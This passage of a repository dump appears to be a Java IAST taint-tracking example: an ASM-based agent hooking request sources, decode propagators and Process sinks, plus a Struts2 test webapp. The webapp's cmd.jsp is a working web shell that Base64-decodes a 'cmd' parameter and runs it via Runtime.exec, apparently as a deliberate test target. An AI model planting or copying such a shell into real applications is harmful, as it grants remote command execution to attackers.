getHeaderNames() {
226 | try {
227 | Method method = responseClass.getMethod("getHeaderNames");
228 | method.setAccessible(true);
229 | return (Collection) method.invoke(response);
230 | } catch (Exception e) {
231 | e.printStackTrace();
232 | return null;
233 | }
234 | }
235 |
236 | public String getCharacterEncoding() {
237 | try {
238 | Method method = responseClass.getMethod("getCharacterEncoding");
239 | method.setAccessible(true);
240 | return (String) method.invoke(response);
241 | } catch (Exception e) {
242 | e.printStackTrace();
243 | return null;
244 | }
245 | }
246 |
247 | public String getContentType() {
248 | try {
249 | Method method = responseClass.getMethod("getContentType");
250 | method.setAccessible(true);
251 | return (String) method.invoke(response);
252 | } catch (Exception e) {
253 | e.printStackTrace();
254 | return null;
255 | }
256 | }
257 |
258 |
259 | public PrintWriter getWriter() throws IOException {
260 | try {
261 | Method method = responseClass.getMethod("getWriter");
262 | method.setAccessible(true);
263 | return (PrintWriter) method.invoke(response);
264 | } catch (Exception e) {
265 | e.printStackTrace();
266 | return null;
267 | }
268 | }
269 |
270 | public void setCharacterEncoding(String charset) {
271 | try {
272 | Method method = responseClass.getMethod("setCharacterEncoding", String.class);
273 | method.setAccessible(true);
274 | method.invoke(response, charset);
275 | } catch (Exception e) {
276 | e.printStackTrace();
277 | }
278 | }
279 |
280 | public void setContentLength(int len) {
281 | try {
282 | Method method = responseClass.getMethod("setContentLength", int.class);
283 | method.setAccessible(true);
284 | method.invoke(response, len);
285 | } catch (Exception e) {
286 | e.printStackTrace();
287 | }
288 | }
289 |
290 | public void setContentLengthLong(long len) {
291 | try {
292 | Method method = responseClass.getMethod("setContentLengthLong", long.class);
293 | method.setAccessible(true);
294 | method.invoke(response, len);
295 | } catch (Exception e) {
296 | e.printStackTrace();
297 | }
298 | }
299 |
300 | public void setContentType(String type) {
301 | try {
302 | Method method = responseClass.getMethod("setContentType", String.class);
303 | method.setAccessible(true);
304 | method.invoke(response, type);
305 | } catch (Exception e) {
306 | e.printStackTrace();
307 | }
308 | }
309 |
310 | public void setBufferSize(int size) {
311 | try {
312 | Method method = responseClass.getMethod("setBufferSize", int.class);
313 | method.setAccessible(true);
314 | method.invoke(response, size);
315 | } catch (Exception e) {
316 | e.printStackTrace();
317 | }
318 | }
319 |
320 | public int getBufferSize() {
321 | try {
322 | Method method = responseClass.getMethod("getBufferSize");
323 | method.setAccessible(true);
324 | return (Integer) method.invoke(response);
325 | } catch (Exception e) {
326 | e.printStackTrace();
327 | return -1;
328 | }
329 | }
330 |
331 | public void flushBuffer() throws IOException {
332 | try {
333 | Method method = responseClass.getMethod("flushBuffer");
334 | method.setAccessible(true);
335 | method.invoke(response);
336 | } catch (Exception e) {
337 | e.printStackTrace();
338 | }
339 | }
340 |
341 | public void resetBuffer() {
342 | try {
343 | Method method = responseClass.getMethod("resetBuffer");
344 | method.setAccessible(true);
345 | method.invoke(response);
346 | } catch (Exception e) {
347 | e.printStackTrace();
348 | }
349 | }
350 |
351 | public boolean isCommitted() {
352 | try {
353 | Method method = responseClass.getMethod("isCommitted");
354 | method.setAccessible(true);
355 | return (Boolean) method.invoke(response);
356 | } catch (Exception e) {
357 | e.printStackTrace();
358 | return false;
359 | }
360 | }
361 |
362 | public void reset() {
363 | try {
364 | Method method = responseClass.getMethod("reset");
365 | method.setAccessible(true);
366 | method.invoke(response);
367 | } catch (Exception e) {
368 | e.printStackTrace();
369 | }
370 | }
371 |
372 | public void setLocale(Locale loc) {
373 | try {
374 | Method method = responseClass.getMethod("setLocale", Locale.class);
375 | method.setAccessible(true);
376 | method.invoke(response, loc);
377 | } catch (Exception e) {
378 | e.printStackTrace();
379 | }
380 | }
381 |
382 | public Locale getLocale() {
383 | try {
384 | Method method = responseClass.getMethod("getLocale");
385 | method.setAccessible(true);
386 | return (Locale) method.invoke(response);
387 | } catch (Exception e) {
388 | e.printStackTrace();
389 | return null;
390 | }
391 | }
392 | }
393 |
--------------------------------------------------------------------------------
/iast/src/main/java/cn/org/javaweb/iast/visitor/Handler.java:
--------------------------------------------------------------------------------
1 | package cn.org.javaweb.iast.visitor;
2 |
3 | import org.objectweb.asm.MethodVisitor;
4 |
5 | /**
6 | * @author iiusky - 03sec.com
7 | */
8 | public interface Handler {
9 |
10 | MethodVisitor ClassVisitorHandler(MethodVisitor mv, final String className, int access, String name, String desc, String signature, String[] exceptions);
11 | }
12 |
--------------------------------------------------------------------------------
/iast/src/main/java/cn/org/javaweb/iast/visitor/handler/HttpClassVisitorHandler.java:
--------------------------------------------------------------------------------
1 | package cn.org.javaweb.iast.visitor.handler;
2 |
3 | import cn.org.javaweb.iast.visitor.Handler;
4 | import org.objectweb.asm.MethodVisitor;
5 | import org.objectweb.asm.Opcodes;
6 | import org.objectweb.asm.Type;
7 | import org.objectweb.asm.commons.AdviceAdapter;
8 |
9 | import java.lang.reflect.Modifier;
10 |
11 |
12 | /**
13 | * @author iiusky - 03sec.com
14 | */
15 | public class HttpClassVisitorHandler implements Handler {
16 |
17 | private static final String METHOD_DESC = "(Ljavax/servlet/http/HttpServletRequest;Ljavax/servlet/http/HttpServletResponse;)V";
18 |
19 | public MethodVisitor ClassVisitorHandler(MethodVisitor mv, final String className, int access,
20 | String name, String desc, String signature, String[] exceptions) {
21 | if ("service".equals(name) && METHOD_DESC.equals(desc)) {
22 | final boolean isStatic = Modifier.isStatic(access);
23 | final Type argsType = Type.getType(Object[].class);
24 |
25 | System.out.println(
26 | "HTTP Process 类名是: " + className + ",方法名是: " + name + "方法的描述符是：" + desc + ",签名是:"
27 | + signature + ",exceptions:" + exceptions);
28 | return new AdviceAdapter(Opcodes.ASM5, mv, access, name, desc) {
29 | @Override
30 | protected void onMethodEnter() {
31 | loadArgArray();
32 | int argsIndex = newLocal(argsType);
33 | storeLocal(argsIndex, argsType);
34 | loadLocal(argsIndex);
35 |
36 | if (isStatic) {
37 | push((Type) null);
38 | } else {
39 | loadThis();
40 | }
41 |
42 | loadLocal(argsIndex);
43 |
44 | mv.visitMethodInsn(INVOKESTATIC, "cn/org/javaweb/iast/core/Http", "enterHttp",
45 | "([Ljava/lang/Object;)V", false);
46 |
47 | }
48 |
49 | @Override
50 | protected void onMethodExit(int i) {
51 | super.onMethodExit(i);
52 | mv.visitMethodInsn(INVOKESTATIC, "cn/org/javaweb/iast/core/Http", "leaveHttp", "()V",
53 | false);
54 | }
55 | };
56 | }
57 | return mv;
58 | }
59 | }
60 |
61 |
62 |
--------------------------------------------------------------------------------
/iast/src/main/java/cn/org/javaweb/iast/visitor/handler/PropagatorClassVisitorHandler.java:
--------------------------------------------------------------------------------
1 | package cn.org.javaweb.iast.visitor.handler;
2 |
3 | import cn.org.javaweb.iast.visitor.Handler;
4 | import org.objectweb.asm.MethodVisitor;
5 | import org.objectweb.asm.Opcodes;
6 | import org.objectweb.asm.Type;
7 | import org.objectweb.asm.commons.AdviceAdapter;
8 |
9 | import java.lang.reflect.Modifier;
10 |
11 |
12 | /**
13 | * @author iiusky - 03sec.com
14 | */
15 | public class PropagatorClassVisitorHandler implements Handler {
16 |
17 | private static final String METHOD_DESC = "(Ljava/lang/String;)[B";
18 |
19 | private static final String CLASS_NAME = "java.lang.Runtime";
20 |
21 | @Override
22 | public MethodVisitor ClassVisitorHandler(MethodVisitor mv, final String className, int access,
23 | final String name, final String desc, String signature, String[] exceptions) {
24 | if ((name.contains("decode") && METHOD_DESC.equals(desc)) || CLASS_NAME.equals(className)) {
25 | final boolean isStatic = Modifier.isStatic(access);
26 | final Type argsType = Type.getType(Object[].class);
27 |
28 | if (((access & Opcodes.ACC_NATIVE) == Opcodes.ACC_NATIVE) || className
29 | .contains("cn.org.javaweb.iast")) {
30 | System.out.println(
31 | "Propagator Process Skip 类名:" + className + ",方法名: " + name + "方法的描述符是：" + desc);
32 | } else {
33 | System.out
34 | .println("Propagator Process 类名:" + className + ",方法名: " + name + "方法的描述符是：" + desc);
35 | return new AdviceAdapter(Opcodes.ASM5, mv, access, name, desc) {
36 | @Override
37 | protected void onMethodEnter() {
38 | loadArgArray();
39 | int argsIndex = newLocal(argsType);
40 | storeLocal(argsIndex, argsType);
41 | loadLocal(argsIndex);
42 | push(className);
43 | push(name);
44 | push(desc);
45 | push(isStatic);
46 |
47 | mv.visitMethodInsn(INVOKESTATIC, "cn/org/javaweb/iast/core/Propagator",
48 | "enterPropagator",
49 | "([Ljava/lang/Object;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Z)V",
50 | false);
51 | super.onMethodEnter();
52 | }
53 |
54 | @Override
55 | protected void onMethodExit(int opcode) {
56 | Type returnType = Type.getReturnType(desc);
57 | if (returnType == null || Type.VOID_TYPE.equals(returnType)) {
58 | push((Type) null);
59 | } else {
60 | mv.visitInsn(Opcodes.DUP);
61 | }
62 | push(className);
63 | push(name);
64 | push(desc);
65 | push(isStatic);
66 | mv.visitMethodInsn(INVOKESTATIC, "cn/org/javaweb/iast/core/Propagator",
67 | "leavePropagator",
68 | "(Ljava/lang/Object;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Z)V",
69 | false);
70 | super.onMethodExit(opcode);
71 | }
72 | };
73 | }
74 | }
75 | return mv;
76 | }
77 | }
78 |
79 |
80 |
--------------------------------------------------------------------------------
/iast/src/main/java/cn/org/javaweb/iast/visitor/handler/SinkClassVisitorHandler.java:
--------------------------------------------------------------------------------
1 | package cn.org.javaweb.iast.visitor.handler;
2 |
3 | import cn.org.javaweb.iast.visitor.Handler;
4 | import org.objectweb.asm.MethodVisitor;
5 | import org.objectweb.asm.Opcodes;
6 | import org.objectweb.asm.Type;
7 | import org.objectweb.asm.commons.AdviceAdapter;
8 |
9 | import java.lang.reflect.Modifier;
10 |
11 |
12 | /**
13 | * @author iiusky - 03sec.com
14 | */
15 | public class SinkClassVisitorHandler implements Handler {
16 |
17 | private static final String METHOD_DESC = "()Ljava/lang/Process;";
18 |
19 | @Override
20 | public MethodVisitor ClassVisitorHandler(MethodVisitor mv, final String className, int access,
21 | final String name, final String desc, String signature, String[] exceptions) {
22 | if (("start".equals(name) && METHOD_DESC.equals(desc))) {
23 | final boolean isStatic = Modifier.isStatic(access);
24 | final Type argsType = Type.getType(Object[].class);
25 |
26 | System.out.println("Sink Process 类名:" + className + ",方法名: " + name + "方法的描述符是：" + desc);
27 | return new AdviceAdapter(Opcodes.ASM5, mv, access, name, desc) {
28 | @Override
29 | protected void onMethodEnter() {
30 | loadArgArray();
31 | int argsIndex = newLocal(argsType);
32 | storeLocal(argsIndex, argsType);
33 | loadThis();
34 | loadLocal(argsIndex);
35 | push(className);
36 | push(name);
37 | push(desc);
38 | push(isStatic);
39 |
40 | mv.visitMethodInsn(INVOKESTATIC, "cn/org/javaweb/iast/core/Sink", "enterSink",
41 | "([Ljava/lang/Object;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Z)V",
42 | false);
43 | super.onMethodEnter();
44 | }
45 | };
46 | }
47 | return mv;
48 | }
49 | }
50 |
51 |
52 |
--------------------------------------------------------------------------------
/iast/src/main/java/cn/org/javaweb/iast/visitor/handler/SourceClassVisitorHandler.java:
--------------------------------------------------------------------------------
1 | package cn.org.javaweb.iast.visitor.handler;
2 |
3 | import cn.org.javaweb.iast.visitor.Handler;
4 | import org.objectweb.asm.MethodVisitor;
5 | import org.objectweb.asm.Opcodes;
6 | import org.objectweb.asm.Type;
7 | import org.objectweb.asm.commons.AdviceAdapter;
8 |
9 | import java.lang.reflect.Modifier;
10 |
11 |
12 | /**
13 | * @author iiusky - 03sec.com
14 | */
15 | public class SourceClassVisitorHandler implements Handler {
16 |
17 | private static final String METHOD_DESC = "(Ljava/lang/String;)Ljava/lang/String;";
18 |
19 | public MethodVisitor ClassVisitorHandler(MethodVisitor mv, final String className, int access, final String name,
20 | final String desc, String signature, String[] exceptions) {
21 | if (METHOD_DESC.equals(desc) && "getParameter".equals(name)) {
22 | final boolean isStatic = Modifier.isStatic(access);
23 |
24 | System.out.println("Source Process 类名是: " + className + ",方法名是: " + name + "方法的描述符是：" + desc + ",签名是:" + signature + ",exceptions:" + exceptions);
25 | return new AdviceAdapter(Opcodes.ASM5, mv, access, name, desc) {
26 | @Override
27 | protected void onMethodEnter() {
28 | loadArgArray();
29 | int argsIndex = newLocal(Type.getType(Object[].class));
30 | storeLocal(argsIndex, Type.getType(Object[].class));
31 | loadLocal(argsIndex);
32 | push(className);
33 | push(name);
34 | push(desc);
35 | push(isStatic);
36 |
37 | mv.visitMethodInsn(INVOKESTATIC, "cn/org/javaweb/iast/core/Source", "enterSource", "([Ljava/lang/Object;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Z)V", false);
38 | super.onMethodEnter();
39 | }
40 |
41 | @Override
42 | protected void onMethodExit(int opcode) {
43 | Type returnType = Type.getReturnType(desc);
44 | if (returnType == null || Type.VOID_TYPE.equals(returnType)) {
45 | push((Type) null);
46 | } else {
47 | mv.visitInsn(Opcodes.DUP);
48 | }
49 | push(className);
50 | push(name);
51 | push(desc);
52 | push(isStatic);
53 | mv.visitMethodInsn(INVOKESTATIC, "cn/org/javaweb/iast/core/Source", "leaveSource", "(Ljava/lang/Object;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Z)V", false);
54 | super.onMethodExit(opcode);
55 | }
56 | };
57 | }
58 | return mv;
59 | }
60 | }
61 |
62 |
63 |
--------------------------------------------------------------------------------
/iast/src/main/resources/MANIFEST.MF:
--------------------------------------------------------------------------------
1 | Manifest-Version: 1.0
2 | Premain-Class: cn.org.javaweb.iast.Agent
3 | Can-Retransform-Classes: true
4 | Can-Redefine-Classes: true
5 | Can-Set-Native-Method-Prefix: true
6 |
--------------------------------------------------------------------------------
/java_iast_example.iml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 |
--------------------------------------------------------------------------------
/pom.xml:
--------------------------------------------------------------------------------
1 |
2 |
5 | 4.0.0
6 |
7 | cn.org.javaweb
8 | iast
9 | 1.0-SNAPSHOT
10 |
11 |
12 | 8
13 | 8
14 |
15 |
16 |
17 | iast
18 | test-struts2
19 |
20 |
21 |
--------------------------------------------------------------------------------
/test-struts2/pom.xml:
--------------------------------------------------------------------------------
1 |
3 |
4 |
5 | agent
6 | cn.org.javaweb
7 | 1.0.0
8 |
9 |
10 | 4.0.0
11 | test-struts2
12 | war
13 | test-struts2
14 | http://maven.apache.org
15 |
16 | UTF-8
17 | 1.6
18 | 1.6
19 | 1.6
20 | 3.2.1
21 | 8.5.31
22 | 2.1.8
23 | 4.12
24 |
25 |
26 |
27 |
28 |
29 | junit
30 | junit
31 | ${junit}
32 | test
33 |
34 |
35 |
36 | javax.servlet
37 | javax.servlet-api
38 | 3.1.0
39 | provided
40 |
41 |
42 |
43 | javax.servlet.jsp
44 | jsp-api
45 | 2.2
46 | provided
47 |
48 |
49 |
50 | javax.el
51 | el-api
52 | 2.2
53 | provided
54 |
55 |
56 |
57 | javax.servlet
58 | jstl
59 | 1.2
60 |
61 |
62 |
63 | taglibs
64 | standard
65 | 1.1.2
66 | provided
67 |
68 |
69 |
70 | org.apache.struts
71 | struts2-core
72 | ${struts}
73 |
74 |
75 |
76 | commons-collections
77 | commons-collections
78 | ${commons-collections}
79 |
80 |
81 |
82 | org.apache.tomcat
83 | tomcat-jasper
84 | ${tomcat}
85 | provided
86 |
87 |
88 |
89 | org.apache.tomcat
90 | tomcat-catalina
91 | ${tomcat}
92 | provided
93 |
94 |
95 |
96 | org.apache.tomcat
97 | tomcat-websocket
98 | ${tomcat}
99 | provided
100 |
101 |
102 |
103 | mysql
104 | mysql-connector-java
105 | 5.1.45
106 |
107 |
108 |
109 | com.microsoft.sqlserver
110 | mssql-jdbc
111 | 6.3.6.jre7-preview
112 |
113 |
114 |
115 | org.springframework
116 | spring-expression
117 | 5.0.6.RELEASE
118 |
119 |
120 |
121 | org.mvel
122 | mvel2
123 | 2.4.0.Final
124 |
125 |
126 |
127 | dom4j
128 | dom4j
129 | 1.6.1
130 |
131 |
132 |
133 |
134 |
135 | test-struts2
136 |
137 |
138 |
--------------------------------------------------------------------------------
/test-struts2/src/main/java/cn/org/javaweb/test/action/TestAction.java:
--------------------------------------------------------------------------------
1 | /*
2 | * Copyright yz 2016-05-25 Email:admin@javaweb.org.
3 | *
4 | * Licensed under the Apache License, Version 2.0 (the "License");
5 | * you may not use this file except in compliance with the License.
6 | * You may obtain a copy of the License at
7 | *
8 | * http://www.apache.org/licenses/LICENSE-2.0
9 | *
10 | * Unless required by applicable law or agreed to in writing, software
11 | * distributed under the License is distributed on an "AS IS" BASIS,
12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13 | * See the License for the specific language governing permissions and
14 | * limitations under the License.
15 | */
16 | package cn.org.javaweb.test.action;
17 |
18 | import com.opensymphony.xwork2.ActionContext;
19 | import com.opensymphony.xwork2.ActionSupport;
20 | import org.apache.struts2.ServletActionContext;
21 |
22 | import javax.servlet.http.HttpServletRequest;
23 |
24 | /**
25 | * Created by yz on 2016-05-25.
26 | */
27 | public class TestAction extends ActionSupport {
28 |
29 | private ActionContext context = ActionContext.getContext();
30 |
31 | private HttpServletRequest request = (HttpServletRequest) context.get(ServletActionContext.HTTP_REQUEST);
32 |
33 |
34 | @Override
35 | public String execute() {
36 | System.out.println(request.getParameter("id"));
37 | return SUCCESS;
38 | }
39 |
40 | }
41 |
--------------------------------------------------------------------------------
/test-struts2/src/main/resources/struts.xml:
--------------------------------------------------------------------------------
1 |
2 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 | index.jsp
15 |
16 |
17 |
18 |
19 |
20 |
--------------------------------------------------------------------------------
/test-struts2/src/main/webapp/META-INF/context.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
--------------------------------------------------------------------------------
/test-struts2/src/main/webapp/WEB-INF/web.xml:
--------------------------------------------------------------------------------
1 |
4 |
5 |
6 |
7 |
8 | struts2
9 | org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter
10 |
11 |
12 |
13 | struts2
14 | *.action
15 |
16 |
17 |
18 | index.jsp
19 |
20 |
21 |
22 |
--------------------------------------------------------------------------------
/test-struts2/src/main/webapp/cmd.jsp:
--------------------------------------------------------------------------------
1 | <%@ page import="java.io.InputStream" %>
2 | <%@ page import="java.util.Base64" %>
3 | <%@ page contentType="text/html;charset=UTF-8" language="java" %>
4 |
5 | <%
6 | String sb = request.getParameter("cmd");
7 | byte[] decode = Base64.getDecoder().decode(sb);
8 | Process process = Runtime.getRuntime().exec(new String(decode));
9 | InputStream in = process.getInputStream();
10 | int a = 0;
11 | byte[] b = new byte[1024];
12 |
13 | while ((a = in.read(b)) != -1) {
14 | out.println(new String(b, 0, a));
15 | }
16 |
17 | in.close();
18 | %>
19 |
--------------------------------------------------------------------------------
/test-struts2/src/main/webapp/index.jsp:
--------------------------------------------------------------------------------
1 | Hello...sky
--------------------------------------------------------------------------------
/test-struts2/src/main/webapp/req.jsp:
--------------------------------------------------------------------------------
1 | <%@ page contentType="text/html;charset=UTF-8" language="java" %>
2 | <%
3 | String id = request.getParameter("id");
4 | out.println(id);
5 | out.flush();
6 | System.out.println(id);
7 | %>
--------------------------------------------------------------------------------
/test-struts2/test-struts2.iml:
--------------------------------------------------------------------------------
1 |
2 |
--------------------------------------------------------------------------------